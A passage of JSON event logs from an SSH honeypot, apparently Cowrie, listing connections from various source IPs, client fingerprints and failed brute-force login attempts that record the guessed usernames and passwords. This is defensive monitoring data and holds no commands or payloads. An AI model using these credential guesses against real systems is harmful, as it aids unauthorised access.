{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:57.277393Z","src_ip":"106.13.14.186","session":"3b8b97d9cbfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:57.520702Z","src_ip":"106.13.14.186","session":"3b8b97d9cbfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:58.504829Z","src_ip":"106.13.14.186","session":"3b8b97d9cbfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":34750,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd287ab380dd","protocol":"ssh","message":"New connection: 2.27.36.16:34750 (159.203.135.109:22) [session: dd287ab380dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:59.176905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:59.181360Z","src_ip":"2.27.36.16","session":"dd287ab380dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:59.290277Z","src_ip":"2.27.36.16","session":"dd287ab380dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"robin","message":"login attempt [root/robin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:59.707592Z","src_ip":"2.27.36.16","session":"dd287ab380dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:15:00.807562Z","src_ip":"2.27.36.16","session":"dd287ab380dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":60080,"dst_ip":"10.17.0.5","dst_port":22,"session":"09a48fd82976","protocol":"ssh","message":"New connection: 43.135.166.146:60080 (10.17.0.5:22) [session: 09a48fd82976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:15:06.919817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:15:06.925371Z","src_ip":"43.135.166.146","session":"09a48fd82976","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:15:06.994675Z","src_ip":"43.135.166.146","session":"09a48fd82976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123456!","message":"login attempt [root/Qaz123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:15:07.304349Z","src_ip":"43.135.166.146","session":"09a48fd82976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:15:08.377262Z","src_ip":"43.135.166.146","session":"09a48fd82976","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":57621,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dbc534f91bd","protocol":"ssh","message":"New connection: 41.181.156.205:57621 (159.203.135.109:22) [session: 0dbc534f91bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:15:38.415972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:15:38.420901Z","src_ip":"41.181.156.205","session":"0dbc534f91bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:15:38.664857Z","src_ip":"41.181.156.205","session":"0dbc534f91bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nobody7777","message":"login attempt [root/nobody7777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:15:39.671864Z","src_ip":"41.181.156.205","session":"0dbc534f91bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:15:40.918095Z","src_ip":"41.181.156.205","session":"0dbc534f91bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":58124,"dst_ip":"159.203.135.109","dst_port":22,"session":"45632d71af77","protocol":"ssh","message":"New connection: 190.85.41.170:58124 (159.203.135.109:22) [session: 45632d71af77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:19.323991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:19.329633Z","src_ip":"190.85.41.170","session":"45632d71af77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:19.407154Z","src_ip":"190.85.41.170","session":"45632d71af77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":40138,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbbdfb825da3","protocol":"ssh","message":"New connection: 178.20.210.186:40138 (10.17.0.5:22) [session: fbbdfb825da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:19.641411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:19.651742Z","src_ip":"178.20.210.186","session":"fbbdfb825da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tianyu@123","message":"login attempt [root/tianyu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:19.749044Z","src_ip":"190.85.41.170","session":"45632d71af77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:19.754376Z","src_ip":"178.20.210.186","session":"fbbdfb825da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password01","message":"login attempt [root/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:20.150608Z","src_ip":"178.20.210.186","session":"fbbdfb825da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":42552,"dst_ip":"159.203.135.109","dst_port":22,"session":"49e19a80914c","protocol":"ssh","message":"New connection: 2.27.36.16:42552 (159.203.135.109:22) [session: 49e19a80914c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:20.644247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:20.650674Z","src_ip":"2.27.36.16","session":"49e19a80914c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:20.747839Z","src_ip":"2.27.36.16","session":"49e19a80914c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:20.828705Z","src_ip":"190.85.41.170","session":"45632d71af77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"london","message":"login attempt [root/london] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:21.172713Z","src_ip":"2.27.36.16","session":"49e19a80914c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:21.253981Z","src_ip":"178.20.210.186","session":"fbbdfb825da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:22.271482Z","src_ip":"2.27.36.16","session":"49e19a80914c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":54398,"dst_ip":"10.17.0.5","dst_port":22,"session":"b09be123ee96","protocol":"ssh","message":"New connection: 43.135.166.146:54398 (10.17.0.5:22) [session: b09be123ee96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:36.559982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:36.564549Z","src_ip":"43.135.166.146","session":"b09be123ee96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:36.633698Z","src_ip":"43.135.166.146","session":"b09be123ee96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:36.944011Z","src_ip":"43.135.166.146","session":"b09be123ee96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:38.016735Z","src_ip":"43.135.166.146","session":"b09be123ee96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:16:57.281265Z","src_ip":"106.13.14.186","session":"3b8b97d9cbfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":41939,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e637cd8e295","protocol":"ssh","message":"New connection: 41.181.156.205:41939 (159.203.135.109:22) [session: 4e637cd8e295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:02.444237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:17:02.448603Z","src_ip":"41.181.156.205","session":"4e637cd8e295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-d